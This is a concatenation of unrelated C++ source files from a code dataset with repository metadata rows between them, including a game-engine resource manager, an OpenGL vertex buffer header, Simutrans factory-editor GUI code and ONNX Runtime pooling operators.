std::map<Uint32, Resource*>::iterator it = resources.find(ID);
if (it != resources.end())
{
ret = it->second;
if (!it->second->IsOnMemory())
{
ret->LoadOnMemory();
}
it->second->on_use++;
if (type == Resource::ResType::Material)
{
if (((ResourceMaterial*)it->second)->resource_texture_id != 0)
{
((ResourceMaterial*)it->second)->texture = (ResourceTexture*)GetResource(((ResourceMaterial*)it->second)->resource_texture_id);
((ResourceMaterial*)it->second)->texture->on_use++;
if (!((ResourceMaterial*)it->second)->texture->IsOnMemory())
{
((ResourceMaterial*)it->second)->texture->LoadOnMemory();
}
}
}
}
else
{
LOG("Resource must have been imported before load on memory.");
}
return ret;
}
Resource* ModuleResourceManager::CreateAndLoad(Uint32 ID, Resource::ResType type)
{
Resource* ret = nullptr;
std::map<Uint32, Resource*>::iterator it = resources.find(ID);
if (it != resources.end())
{
LOG("Resource is already imported.");
ret = it->second;
}
else
{
switch (type)
{
case (Resource::ResType::Mesh) :
{
ret = App->importer->mesh_loader->MeshLoad(ID);
break;
}
case (Resource::ResType::Texture) :
{
ret = App->importer->tex_loader->TextureLoad(ID);
break;
}
case (Resource::ResType::Material) :
{
ret = App->importer->mat_loader->MaterialLoad(ID);
break;
}
}
if (ret != nullptr)
{
resources[ID] = ret;
}
}
return ret;
}
void ModuleResourceManager::SaveResourcesData()
{
pugi::xml_document data;
pugi::xml_node root;
root = data.append_child("Resources");
std::map<Uint32, Resource*>::iterator it = resources.begin();
while (it != resources.end())
{
root = root.append_child("Resource");
root.append_child("ID").append_attribute("Value") = it->second->ID;
root.append_child("Name").text().set(it->second->name.c_str());
root.append_child("Type").append_attribute("Value") = it->second->GetType();
root.append_child("OriginalFile").text().set(it->second->origin_file.c_str());
root.append_child("ResourceFile").text().set(it->second->resource_file.c_str());
root = root.parent();
it++;
}
root.append_child("NextID").append_attribute("Value") = next_id;
std::stringstream stream;
data.save(stream);
App->physfs->Save("Library/Resources.xml", stream.str().c_str(), stream.str().length());
}
void ModuleResourceManager::LoadResourcesData()
{
char* buffer;
uint size = App->physfs->Load("Library/Resources.xml", &buffer);
if (size > 0)
{
pugi::xml_document data;
pugi::xml_node root;
pugi::xml_parse_result result = data.load_buffer(buffer, size);
RELEASE_ARRAY(buffer);
if (result != 0)
{
root = data.child("Resources");
for (pugi::xml_node node = root.child("Resource"); node != nullptr; node = node.next_sibling("Resource"))
{
//Create resources with recived data
Resource* tmp = CreateAndLoad(node.child("ID").attribute("Value").as_ullong(), (Resource::ResType)node.child("Type").attribute("Value").as_int());
tmp->name = node.child("Name").text().get();
tmp->origin_file = node.child("OriginalFile").text().get();
}
next_id = root.child("NextID").attribute("Value").as_ullong();
}
}
}
ResourceMesh* ModuleResourceManager::ImportMeshResource(const aiMesh* ai_mesh, const char* origin_file, const char* resource_name)
{
ResourceMesh* r_mesh = nullptr;
r_mesh = (ResourceMesh*)SearchResource(origin_file, resource_name, Resource::ResType::Mesh);
if (r_mesh != nullptr)
{
return r_mesh;
}
//If doesn't exist, import it -> it should be a method from scene importer
r_mesh = App->importer->mesh_loader->MeshImport(ai_mesh, next_id++, origin_file, resource_name);
if (r_mesh)
{
resources[r_mesh->ID] = r_mesh;
}
return r_mesh;
}
ResourceMaterial* ModuleResourceManager::ImportMaterialResource(const aiMaterial* ai_material, const char* origin_file, const char* resource_name)
{
ResourceMaterial* r_mat = nullptr;
r_mat = (ResourceMaterial*)SearchResource(origin_file, resource_name, Resource::ResType::Material);
if (r_mat != nullptr)
{
return r_mat;
}
//If doesn't exist, import it -> it should be a method from scene importer
r_mat = App->importer->mat_loader->MaterialImport(ai_material, next_id++, origin_file, resource_name);
if (r_mat)
{
resources[r_mat->ID] = r_mat;
}
return r_mat;
}
ResourceTexture* ModuleResourceManager::ImportTextureResource(const aiMaterial* ai_material, const char* origin_file, const char* resource_name)
{
ResourceTexture* r_tex = nullptr;
r_tex = (ResourceTexture*)SearchResource(origin_file, resource_name, Resource::ResType::Texture);
if (r_tex != nullptr)
{
return r_tex;
}
//If doesn't exist, import it -> it should be a method from scene importer
r_tex = App->importer->tex_loader->TextureImport(ai_material, next_id++, resource_name);
if (r_tex)
{
resources[r_tex->ID] = r_tex;
}
return r_tex;
}
bool ModuleResourceManager::CompareResource(Resource* res, const char* o_file, const char* r_name)
{
return (res->origin_file == o_file && res->name == r_name);
}
bool ModuleResourceManager::CompareResource(Resource* res, Resource::ResType type)
{
return (res->GetType() == type);
}
Resource* ModuleResourceManager::GetResource(Uint32 ID)
{
std::map<Uint32, Resource*>::iterator tmp = resources.find(ID);
if (tmp != resources.end())
{
return tmp->second;
}
return nullptr;
}
bool ModuleResourceManager::SearchForOriginFile(const char* origin_file)
{
for (std::map<Uint32, Resource*>::iterator tmp = resources.begin(); tmp != resources.end(); tmp++)
{
if (tmp->second->origin_file == origin_file)
{
return true;
}
}
return false;
}
Resource* ModuleResourceManager::SearchResource(const char* origin_file, const char* resource_name, Resource::ResType type)
{
for (std::map<Uint32, Resource*>::iterator tmp = resources.begin(); tmp != resources.end(); tmp++)
{
if (CompareResource(tmp->second, origin_file, resource_name) && CompareResource(tmp->second, type))
{
return tmp->second;
}
}
return nullptr;
}
| 24.773519 | 150 | 0.697468 | RogerOlasz |
86751774ee16587ad9db173108fa1bb19ec90bde | 2,653 | hpp | C++ | integration/vertex/VertexBuffer.hpp | DomRe/3DRenderer | a43230704889e03206638f6bb74509541a610677 | [
"MIT"
] | 19 | 2020-02-02T16:36:46.000Z | 2021-12-25T07:02:28.000Z | integration/vertex/VertexBuffer.hpp | DomRe/3DRenderer | a43230704889e03206638f6bb74509541a610677 | [
"MIT"
] | 103 | 2020-10-13T09:03:42.000Z | 2022-03-26T03:41:50.000Z | integration/vertex/VertexBuffer.hpp | DomRe/3DRenderer | a43230704889e03206638f6bb74509541a610677 | [
"MIT"
] | 5 | 2020-03-13T06:14:37.000Z | 2021-12-12T02:13:46.000Z | ///
/// VertexBuffer.hpp
/// galaxy
///
/// Refer to LICENSE.txt for more details.
///
#ifndef GALAXY_GRAPHICS_VERTEX_VERTEXBUFFER_HPP_
#define GALAXY_GRAPHICS_VERTEX_VERTEXBUFFER_HPP_
#include <vector>
#include "galaxy/graphics/vertex/Layout.hpp"
namespace galaxy
{
namespace graphics
{
///
/// Abstraction for OpenGL vertex buffer objects.
///
class VertexBuffer final
{
public:
///
/// Constructor.
///
VertexBuffer() noexcept;
///
/// Move constructor.
///
VertexBuffer(VertexBuffer&&) noexcept;
///
/// Move assignment operator.
///
VertexBuffer& operator=(VertexBuffer&&) noexcept;
///
/// Create vertex buffer object.
///
/// \param vertices Vertices to use.
///
template<meta::is_vertex VertexType>
void create(std::vector<VertexType>& vertices);
///
/// Destroys buffer.
///
~VertexBuffer() noexcept;
///
/// Bind the current vertex buffer to current GL context.
///
void bind() noexcept;
///
/// Unbind the current vertex buffer to current GL context.
///
void unbind() noexcept;
///
/// Get vertex storage.
///
/// \return Vertex storage.
///
template<meta::is_vertex VertexType>
[[nodiscard]] std::vector<VertexType> get();
///
/// Get OpenGL handle.
///
/// \return Const unsigned integer.
///
[[nodiscard]] const unsigned int id() const noexcept;
private:
///
/// Copy constructor.
///
VertexBuffer(const VertexBuffer&) = delete;
///
/// Copy assignment operator.
///
VertexBuffer& operator=(const VertexBuffer&) = delete;
private:
///
/// ID returned by OpenGL when generating buffer.
///
unsigned int m_id;
///
/// Size of vertex buffer.
///
unsigned int m_size;
};
template<meta::is_vertex VertexType>
inline void VertexBuffer::create(std::vector<VertexType>& vertices)
{
glBindBuffer(GL_ARRAY_BUFFER, m_id);
if (!vertices.empty())
{
m_size = static_cast<unsigned int>(vertices.size());
glBufferData(GL_ARRAY_BUFFER, m_size * sizeof(VertexType), vertices.data(), GL_DYNAMIC_DRAW);
}
else
{
m_size = static_cast<unsigned int>(vertices.capacity());
glBufferData(GL_ARRAY_BUFFER, m_size * sizeof(VertexType), nullptr, GL_DYNAMIC_DRAW);
}
glBindBuffer(GL_ARRAY_BUFFER, 0);
}
template<meta::is_vertex VertexType>
inline std::vector<VertexType> VertexBuffer::get()
{
std::vector<VertexType> vs;
vs.reserve(m_size);
glGetNamedBufferSubData(m_id, 0, m_size * sizeof(VertexType), &vs[0]);
return vs;
}
} // namespace graphics
} // namespace galaxy
#endif | 20.098485 | 97 | 0.641915 | DomRe |
867fbf8e30dc2ac9b25fae3022edd56315525db1 | 528 | cpp | C++ | src/Delta.cpp | mironec/yoshiko | 5fe02c9f0be3462959b334e1197ca9e6ea27345d | [
"MIT"
] | 4 | 2017-04-13T02:11:15.000Z | 2021-11-29T18:04:16.000Z | src/Delta.cpp | mironec/yoshiko | 5fe02c9f0be3462959b334e1197ca9e6ea27345d | [
"MIT"
] | 27 | 2018-01-15T08:37:38.000Z | 2018-04-26T13:01:58.000Z | src/Delta.cpp | mironec/yoshiko | 5fe02c9f0be3462959b334e1197ca9e6ea27345d | [
"MIT"
] | 3 | 2017-07-24T13:13:28.000Z | 2019-04-10T19:09:56.000Z | #include "Delta.h"
using namespace std;
namespace ysk {
double Delta::getValue(const WorkingCopyGraph::Node &node) {
if(node == _u)
return _deltaU;
else if(node == _v)
return _deltaV;
else {
cerr << "Fatal error: class Delta: trying to get value of non-end-node!"<<endl;
exit(-1);
}
}
void Delta::setDeltaU(WorkingCopyGraph::Node u, double deltaU) {
_u = u;
_deltaU = deltaU;
}
void Delta::setDeltaV(WorkingCopyGraph::Node v, double deltaV) {
_v = v;
_deltaV = deltaV;
}
} // namespace ysk
| 18.206897 | 83 | 0.657197 | mironec |
8680a24b748fb40ccdceb5e5421d7e62170e6a98 | 12,823 | cc | C++ | gui/factory_edit.cc | makkrnic/simutrans-extended | 8afbbce5b88c79bfea1760cf6c7662d020757b6a | [
"Artistic-1.0"
] | null | null | null | gui/factory_edit.cc | makkrnic/simutrans-extended | 8afbbce5b88c79bfea1760cf6c7662d020757b6a | [
"Artistic-1.0"
] | null | null | null | gui/factory_edit.cc | makkrnic/simutrans-extended | 8afbbce5b88c79bfea1760cf6c7662d020757b6a | [
"Artistic-1.0"
] | null | null | null | /*
* This file is part of the Simutrans-Extended project under the Artistic License.
* (see LICENSE.txt)
*/
#include <stdio.h>
#include "../simworld.h"
#include "../simtool.h"
#include "../bauer/fabrikbauer.h"
#include "../descriptor/ground_desc.h"
#include "../descriptor/intro_dates.h"
#include "../descriptor/factory_desc.h"
#include "../dataobj/translator.h"
#include "../utils/simrandom.h"
#include "../utils/simstring.h"
#include "../utils/cbuffer_t.h"
#include "factory_edit.h"
// new tool definition
tool_build_land_chain_t factory_edit_frame_t::land_chain_tool = tool_build_land_chain_t();
tool_city_chain_t factory_edit_frame_t::city_chain_tool = tool_city_chain_t();
tool_build_factory_t factory_edit_frame_t::fab_tool = tool_build_factory_t();
char factory_edit_frame_t::param_str[256];
static bool compare_fabrik_desc(const factory_desc_t* a, const factory_desc_t* b)
{
int diff = strcmp(a->get_name(), b->get_name());
return diff < 0;
}
static bool compare_fabrik_desc_trans(const factory_desc_t* a, const factory_desc_t* b)
{
int diff = strcmp( translator::translate(a->get_name()), translator::translate(b->get_name()) );
return diff < 0;
}
factory_edit_frame_t::factory_edit_frame_t(player_t* player_) :
extend_edit_gui_t(translator::translate("factorybuilder"), player_),
factory_list(16),
lb_rotation( rot_str, SYSCOL_TEXT_HIGHLIGHT, gui_label_t::right ),
lb_rotation_info( translator::translate("Rotation"), SYSCOL_TEXT, gui_label_t::left ),
lb_production_info( translator::translate("Produktion"), SYSCOL_TEXT, gui_label_t::left )
{
rot_str[0] = 0;
prod_str[0] = 0;
land_chain_tool.set_default_param(param_str);
city_chain_tool.set_default_param(param_str);
fab_tool.set_default_param(param_str);
land_chain_tool.cursor = city_chain_tool.cursor = fab_tool.cursor = tool_t::general_tool[TOOL_BUILD_FACTORY]->cursor;
fac_desc = NULL;
bt_city_chain.init( button_t::square_state, "Only city chains", scr_coord(get_tab_panel_width()+2*MARGIN, offset_of_comp-4 ) );
bt_city_chain.add_listener(this);
add_component(&bt_city_chain);
offset_of_comp += D_BUTTON_HEIGHT;
bt_land_chain.init( button_t::square_state, "Only land chains", scr_coord(get_tab_panel_width()+2*MARGIN, offset_of_comp-4 ) );
bt_land_chain.add_listener(this);
add_component(&bt_land_chain);
offset_of_comp += D_BUTTON_HEIGHT;
lb_rotation_info.set_pos( scr_coord( get_tab_panel_width()+2*MARGIN, offset_of_comp-4 ) );
add_component(&lb_rotation_info);
bt_left_rotate.init( button_t::repeatarrowleft, NULL, scr_coord(get_tab_panel_width()+2*MARGIN+COLUMN_WIDTH/2-16, offset_of_comp-4 ) );
bt_left_rotate.add_listener(this);
add_component(&bt_left_rotate);
bt_right_rotate.init( button_t::repeatarrowright, NULL, scr_coord(get_tab_panel_width()+2*MARGIN+COLUMN_WIDTH/2+50-2, offset_of_comp-4 ) );
bt_right_rotate.add_listener(this);
add_component(&bt_right_rotate);
//lb_rotation.set_pos( scr_coord( get_tab_panel_width()+2*MARGIN+COLUMN_WIDTH/2+44, offset_of_comp-4 ) );
lb_rotation.set_width( bt_right_rotate.get_pos().x - bt_left_rotate.get_pos().x - bt_left_rotate.get_size().w );
lb_rotation.align_to(&bt_left_rotate,ALIGN_EXTERIOR_H | ALIGN_LEFT | ALIGN_CENTER_V);
add_component(&lb_rotation);
offset_of_comp += D_BUTTON_HEIGHT;
lb_production_info.set_pos( scr_coord( get_tab_panel_width()+2*MARGIN, offset_of_comp-4 ) );
add_component(&lb_production_info);
inp_production.set_pos(scr_coord(get_tab_panel_width()+2*MARGIN+COLUMN_WIDTH/2-16, offset_of_comp-4-2 ));
inp_production.set_size(scr_size( 76, 12 ));
inp_production.set_limits(0,9999);
inp_production.add_listener( this );
add_component(&inp_production);
offset_of_comp += D_BUTTON_HEIGHT;
fill_list( is_show_trans_name );
resize(scr_coord(0,0));
}
// fill the current factory_list
void factory_edit_frame_t::fill_list( bool translate )
{
const bool allow_obsolete = bt_obsolete.pressed;
const bool use_timeline = bt_timeline.pressed;
const bool city_chain = bt_city_chain.pressed;
const bool land_chain = bt_land_chain.pressed;
const sint32 month_now = bt_timeline.pressed ? welt->get_current_month() : 0;
factory_list.clear();
// timeline will be obeyed; however, we may show obsolete ones ...
FOR(stringhashtable_tpl<factory_desc_t const*>, const& i, factory_builder_t::get_factory_table()) {
factory_desc_t const* const desc = i.value;
if(desc->get_distribution_weight()>0) {
// DistributionWeight=0 is obsoleted item, only for backward compatibility
if(!use_timeline || (!desc->get_building()->is_future(month_now) && (!desc->get_building()->is_retired(month_now) || allow_obsolete)) ) {
// timeline allows for this
if(city_chain) {
if (desc->get_placement() == factory_desc_t::City && desc->is_consumer_only()) {
factory_list.insert_ordered(desc, translate ? compare_fabrik_desc_trans : compare_fabrik_desc);
}
}
if(land_chain) {
if (desc->get_placement() == factory_desc_t::Land && desc->is_consumer_only()) {
factory_list.insert_ordered(desc, translate ? compare_fabrik_desc_trans : compare_fabrik_desc);
}
}
if(!city_chain && !land_chain) {
factory_list.insert_ordered(desc, translate ? compare_fabrik_desc_trans : compare_fabrik_desc);
}
}
}
}
// now build scrolled list
scl.clear_elements();
scl.set_selection(-1);
FOR(vector_tpl<factory_desc_t const*>, const i, factory_list) {
COLOR_VAL const color =
i->is_consumer_only() ? COL_BLUE :
i->is_producer_only() ? COL_DARK_GREEN :
SYSCOL_TEXT;
char const* const name = translate ? translator::translate(i->get_name()) : i->get_name();
scl.append_element(new gui_scrolled_list_t::const_text_scrollitem_t(name, color));
if (i == fac_desc) {
scl.set_selection(scl.get_count()-1);
}
}
// always update current selection (since the tool may depend on it)
change_item_info( scl.get_selection() );
}
bool factory_edit_frame_t::action_triggered( gui_action_creator_t *comp,value_t e)
{
// only one chain can be shown
if( comp==&bt_city_chain ) {
bt_city_chain.pressed ^= 1;
if(bt_city_chain.pressed) {
bt_land_chain.pressed = 0;
}
fill_list( is_show_trans_name );
}
else if( comp==&bt_land_chain ) {
bt_land_chain.pressed ^= 1;
if(bt_land_chain.pressed) {
bt_city_chain.pressed = 0;
}
fill_list( is_show_trans_name );
}
else if(fac_desc) {
if (comp==&inp_production) {
production = inp_production.get_value();
}
else if( comp==&bt_left_rotate && rotation!=255) {
if(rotation==0) {
rotation = 255;
}
else {
rotation --;
}
}
else if( comp==&bt_right_rotate && rotation!=fac_desc->get_building()->get_all_layouts()-1) {
rotation ++;
}
// update info ...
change_item_info( scl.get_selection() );
}
return extend_edit_gui_t::action_triggered(comp,e);
}
void factory_edit_frame_t::change_item_info(sint32 entry)
{
if(entry>=0 && entry<(sint32)factory_list.get_count()) {
const factory_desc_t *new_fac_desc = factory_list[entry];
if(new_fac_desc!=fac_desc) {
fac_desc = new_fac_desc;
production = fac_desc->get_productivity() + sim_async_rand( fac_desc->get_range() );
// Knightly : should also consider the effects of the minimum number of fields
const field_group_desc_t *const field_group_desc = fac_desc->get_field_group();
if( field_group_desc && field_group_desc->get_field_class_count()>0 ) {
const weighted_vector_tpl<uint16> &field_class_indices = field_group_desc->get_field_class_indices();
sint32 min_fields = field_group_desc->get_min_fields();
while( min_fields-- > 0 ) {
const uint16 field_class_index = field_class_indices.at_weight( sim_async_rand( field_class_indices.get_sum_weight() ) );
production += field_group_desc->get_field_class(field_class_index)->get_field_production();
}
}
production = (uint32)welt->calc_adjusted_monthly_figure(production);
inp_production.set_value(production);
// show produced goods
buf.clear();
if (!fac_desc->is_consumer_only()) {
buf.append( translator::translate("Produktion") );
buf.append("\n");
for (uint i = 0; i < fac_desc->get_product_count(); i++) {
buf.append(" - ");
buf.append( translator::translate(fac_desc->get_product(i)->get_output_type()->get_name()) );
if (fac_desc->get_product(i)->get_output_type()->get_catg() != 0) {
buf.append(" (");
buf.append(translator::translate(fac_desc->get_product(i)->get_output_type()->get_catg_name()));
buf.append(")");
}
buf.append( "\n");
}
buf.append("\n");
}
// show consumed goods
if (!fac_desc->is_producer_only()) {
buf.append( translator::translate("Verbrauch") );
buf.append("\n");
for( int i=0; i<fac_desc->get_supplier_count(); i++ ) {
buf.append(" - ");
buf.append(translator::translate(fac_desc->get_supplier(i)->get_input_type()->get_name()));
if (fac_desc->get_supplier(i)->get_input_type()->get_catg() != 0) {
buf.append(" (");
buf.append(translator::translate(fac_desc->get_supplier(i)->get_input_type()->get_catg_name()));
buf.append(")");
}
buf.append("\n");
}
buf.append("\n");
}
if(fac_desc->is_electricity_producer()) {
buf.append( translator::translate( "Electricity producer\n\n" ) );
}
// now the house stuff
const building_desc_t *desc = fac_desc->get_building();
// climates
buf.append( translator::translate("allowed climates:\n") );
uint16 cl = desc->get_allowed_climate_bits();
if(cl==0) {
buf.append( translator::translate("none") );
buf.append("\n");
}
else {
for(uint16 i=0; i<=arctic_climate; i++ ) {
if(cl & (1<<i)) {
buf.append(" - ");
buf.append(translator::translate(ground_desc_t::get_climate_name_from_bit((climate)i)));
buf.append("\n");
}
}
}
buf.append("\n");
factory_desc_t const& f = *factory_list[entry];
buf.printf( translator::translate("Passenger Demand %d\n"), f.get_pax_demand() != 65535 ? f.get_pax_demand() : f.get_pax_level());
buf.printf( translator::translate("Mail Demand %d\n"), f.get_mail_demand() != 65535 ? f.get_mail_demand() : f.get_pax_level() >> 2);
buf.printf("%s%u", translator::translate("\nBauzeit von"), desc->get_intro_year_month() / 12);
if(desc->get_retire_year_month()!=DEFAULT_RETIRE_DATE*12) {
buf.printf("%s%u", translator::translate("\nBauzeit bis"), desc->get_retire_year_month() / 12);
}
if (char const* const maker = desc->get_copyright()) {
buf.append("\n");
buf.printf(translator::translate("Constructed by %s"), maker);
}
buf.append("\n");
info_text.recalc_size();
cont.set_size( info_text.get_size() + scr_size(0, 20) );
// orientation (255=random)
if(desc->get_all_layouts()>1) {
rotation = 255; // no definition yet
}
else {
rotation = 0;
}
// now for the tool
fac_desc = factory_list[entry];
}
// change label numbers
if(rotation == 255) {
tstrncpy(rot_str, translator::translate("random"), lengthof(rot_str));
}
else {
sprintf( rot_str, "%i", rotation );
}
// now the images (maximum is 2x2 size)
// since these may be affected by rotation, we do this every time ...
for(int i=0; i<4; i++ ) {
img[i].set_image( IMG_EMPTY );
}
const building_desc_t *desc = fac_desc->get_building();
uint8 rot = (rotation==255) ? 0 : rotation;
if(desc->get_x(rot)==1) {
if(desc->get_y(rot)==1) {
img[3].set_image( desc->get_tile(rot,0,0)->get_background(0,0,0) );
}
else {
img[2].set_image( desc->get_tile(rot,0,0)->get_background(0,0,0) );
img[3].set_image( desc->get_tile(rot,0,1)->get_background(0,0,0) );
}
}
else {
if(desc->get_y(rot)==1) {
img[1].set_image( desc->get_tile(rot,0,0)->get_background(0,0,0) );
img[3].set_image( desc->get_tile(rot,1,0)->get_background(0,0,0) );
}
else {
// maximum 2x2 image
for(int i=0; i<4; i++ ) {
img[i].set_image( desc->get_tile(rot,i/2,i&1)->get_background(0,0,0) );
}
}
}
// the tools will be always updated, even though the data up there might be still current
sprintf( param_str, "%i%c%i,%s", bt_climates.pressed, rotation==255 ? '#' : '0'+rotation, production, fac_desc->get_name() );
if(bt_land_chain.pressed) {
welt->set_tool( &land_chain_tool, player );
}
else if(bt_city_chain.pressed) {
welt->set_tool( &city_chain_tool, player );
}
else {
welt->set_tool( &fab_tool, player );
}
}
else if(fac_desc!=NULL) {
for(int i=0; i<4; i++ ) {
img[i].set_image( IMG_EMPTY );
}
buf.clear();
prod_str[0] = 0;
tstrncpy(rot_str, translator::translate("random"), lengthof(rot_str));
fac_desc = NULL;
welt->set_tool( tool_t::general_tool[TOOL_QUERY], player );
}
}
| 34.194667 | 147 | 0.697575 | makkrnic |
8683f710f55766b44e37fff71e3d0d8089765303 | 283 | cpp | C++ | Libs/Core/CMake/TestBFD/TestBFD.cpp | kraehlit/CTK | 6557c5779d20b78f501f1fd6ce1063d0f219cca6 | [
"Apache-2.0"
] | 515 | 2015-01-13T05:42:10.000Z | 2022-03-29T03:10:01.000Z | Libs/Core/CMake/TestBFD/TestBFD.cpp | kraehlit/CTK | 6557c5779d20b78f501f1fd6ce1063d0f219cca6 | [
"Apache-2.0"
] | 425 | 2015-01-06T05:28:38.000Z | 2022-03-08T19:42:18.000Z | Libs/Core/CMake/TestBFD/TestBFD.cpp | kraehlit/CTK | 6557c5779d20b78f501f1fd6ce1063d0f219cca6 | [
"Apache-2.0"
] | 341 | 2015-01-08T06:18:17.000Z | 2022-03-29T21:47:49.000Z |
#include <bfd.h>
// STD includes
#include <cstdlib>
int main(int /*argc*/, char * /*argv*/[])
{
bfd *abfd = 0;
asymbol *symbol = 0;
asection *p = 0;
bfd_init();
abfd = bfd_openr("/path/to/library", 0);
if (!abfd)
{
return false;
}
return EXIT_SUCCESS;
}
| 14.15 | 42 | 0.565371 | kraehlit |
8684b76d0a860b39501166e9f945562b6dd8a0bf | 434 | cpp | C++ | ctci/1.1.cpp | liddiard/interview-practice | ec98a68b57114cb7c05c1a6ffb7eb641a39bb00f | [
"MIT"
] | null | null | null | ctci/1.1.cpp | liddiard/interview-practice | ec98a68b57114cb7c05c1a6ffb7eb641a39bb00f | [
"MIT"
] | null | null | null | ctci/1.1.cpp | liddiard/interview-practice | ec98a68b57114cb7c05c1a6ffb7eb641a39bb00f | [
"MIT"
] | null | null | null | #include <iostream>
#include <unordered_map>
#include <string>
using namespace std;
bool uniqueChars(string str) {
unordered_map <char, bool> chars;
for (int i = 0; i < str.size(); i++) {
if (chars[str[i]]) return false;
else chars[str[i]] = true;
}
return true;
}
int main() {
cout << uniqueChars("abcdefg");
cout << uniqueChars("bob");
cout << uniqueChars("");
cout << uniqueChars("xay q ");
return 0;
}
| 19.727273 | 40 | 0.619816 | liddiard |
8686f16b3037c6e5c0c5aafef671e253d3daad02 | 1,428 | cpp | C++ | src/Shared/Core/Maths/FCRandom.cpp | mslinklater/FC | d00e2e56a982cd7c85c7de18ac0449bf43d8025e | [
"MIT"
] | null | null | null | src/Shared/Core/Maths/FCRandom.cpp | mslinklater/FC | d00e2e56a982cd7c85c7de18ac0449bf43d8025e | [
"MIT"
] | null | null | null | src/Shared/Core/Maths/FCRandom.cpp | mslinklater/FC | d00e2e56a982cd7c85c7de18ac0449bf43d8025e | [
"MIT"
] | 2 | 2015-04-13T10:07:14.000Z | 2019-05-16T11:14:18.000Z | /*
Copyright (C) 2011-2012 by Martin Linklater
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
*/
#include "FCRandom.h"
FCRandomNumber::FCRandomNumber()
{
// default initialisers
m_w = 1;
m_z = 2;
}
void FCRandomNumber::Seed(int w, int z)
{
m_w = w;
m_z = z;
}
unsigned int FCRandomNumber::Get( void )
{
m_z = 36969 * (m_z & 65535) + (m_z >> 16);
m_w = 18000 * (m_w & 65535) + (m_w >> 16);
return (m_z << 16) + m_w;
}
| 31.733333 | 78 | 0.740896 | mslinklater |
868a14748cabc408c580a91d5a788f54d35110a0 | 2,716 | cc | C++ | onnxruntime/core/codegen/mti/nn/pool_ops.cc | dennyac/onnxruntime | d5175795d2b7f2db18b0390f394a49238f814668 | [
"MIT"
] | 6,036 | 2019-05-07T06:03:57.000Z | 2022-03-31T17:59:54.000Z | onnxruntime/core/codegen/mti/nn/pool_ops.cc | dennyac/onnxruntime | d5175795d2b7f2db18b0390f394a49238f814668 | [
"MIT"
] | 5,730 | 2019-05-06T23:04:55.000Z | 2022-03-31T23:55:56.000Z | onnxruntime/core/codegen/mti/nn/pool_ops.cc | dennyac/onnxruntime | d5175795d2b7f2db18b0390f394a49238f814668 | [
"MIT"
] | 1,566 | 2019-05-07T01:30:07.000Z | 2022-03-31T17:06:50.000Z | // Copyright (c) Microsoft Corporation. All rights reserved.
// Licensed under the MIT License.
#include "core/codegen/mti/nn/pool_ops.h"
#include "core/codegen/mti/mti_tvm_utils.h"
#include "core/mlas/inc/mlas.h"
#include "core/providers/cpu/nn/pool_attributes.h"
#include <topi/nn/pooling.h>
namespace onnxruntime {
namespace tvm_codegen {
// TODO: topi only support 2d-pool, MaxPool1d and MaxPool3d will need to be added if necessary.
// only support version < 8 for topi doesn't come with implementation to output index tensor
tvm::Tensor MaxPool(const tvm::Tensor& input,
const PoolAttributes& pool_attrs,
const tvm::Array<tvm::Expr>& /*output_shape*/,
const std::string& /*name*/) {
return topi::nn::pool(input,
ToTvmArray(pool_attrs.kernel_shape),
ToTvmArray(pool_attrs.strides),
ToTvmArray(pool_attrs.pads),
/*pool_type*/ topi::nn::kMaxPool,
/*ceil_mode*/ false,
/*layout*/ pool_attrs.storage_order == 0 ? "NCWH" : "NCHW",
pool_attrs.count_include_pad);
}
tvm::Tensor AveragePool(const tvm::Tensor& input,
const PoolAttributes& pool_attrs,
const tvm::Array<tvm::Expr>& /*output_shape*/,
const std::string& /*name*/) {
return topi::nn::pool(input,
ToTvmArray(pool_attrs.kernel_shape),
ToTvmArray(pool_attrs.strides),
ToTvmArray(pool_attrs.pads),
/*pool_type*/ topi::nn::kAvgPool,
/*ceil_mode*/ false,
/*layout*/ "NCHW",
pool_attrs.count_include_pad);
}
tvm::Tensor GlobalMaxPool(const tvm::Tensor& input,
const PoolAttributes& /*pool_attrs*/,
const tvm::Array<tvm::Expr>& /*output_shape*/,
const std::string& /*name*/) {
return topi::nn::global_pool(input,
/*pool_type*/ topi::nn::kMaxPool,
/*layout*/ "NCHW");
}
tvm::Tensor GlobalAveragePool(const tvm::Tensor& input,
const PoolAttributes& /*pool_attrs*/,
const tvm::Array<tvm::Expr>& /*output_shape*/,
const std::string& /*name*/) {
return topi::nn::global_pool(input,
/*pool_type*/ topi::nn::kAvgPool,
/*layout*/ "NCHW");
}
} // namespace tvm_codegen
} // namespace onnxruntime
| 42.4375 | 95 | 0.527982 | dennyac |
868cf8dece34d72c91d5abad82e25e2c85e97183 | 1,041 | cc | C++ | examples/master/packages/popc/model/probobj.cc | GaretJax/pop-utils | 2cdfaf24c2f8678edfab1f430c07611d488247d5 | [
"MIT"
] | null | null | null | examples/master/packages/popc/model/probobj.cc | GaretJax/pop-utils | 2cdfaf24c2f8678edfab1f430c07611d488247d5 | [
"MIT"
] | 1 | 2021-03-22T17:12:51.000Z | 2021-03-22T17:12:51.000Z | examples/master/packages/popc/model/probobj.cc | GaretJax/pop-utils | 2cdfaf24c2f8678edfab1f430c07611d488247d5 | [
"MIT"
] | null | null | null | #include <stdio.h>
#include <assert.h>
#include "probobj.ph"
ProbObj::ProbObj()
{
count=0;
savedcounter=0;
}
ProbObj::~ProbObj()
{
POSITION pos=nexts.GetHeadPosition();
while (pos!=NULL)
{
ProbObj *tmp=nexts.GetNext(pos);
delete tmp;
}
}
void ProbObj::Exec()
{
bool cansolve;
mutex {
if (count<savedcounter) count++;
cansolve=(count>=savedcounter);
}
if (cansolve)
{
Solve();
ResetCounter();
TriggerNexts();
DEBUG("Solved");
}
}
void ProbObj::TriggerNexts()
{
DEBUG("Checking next dependencies\n");
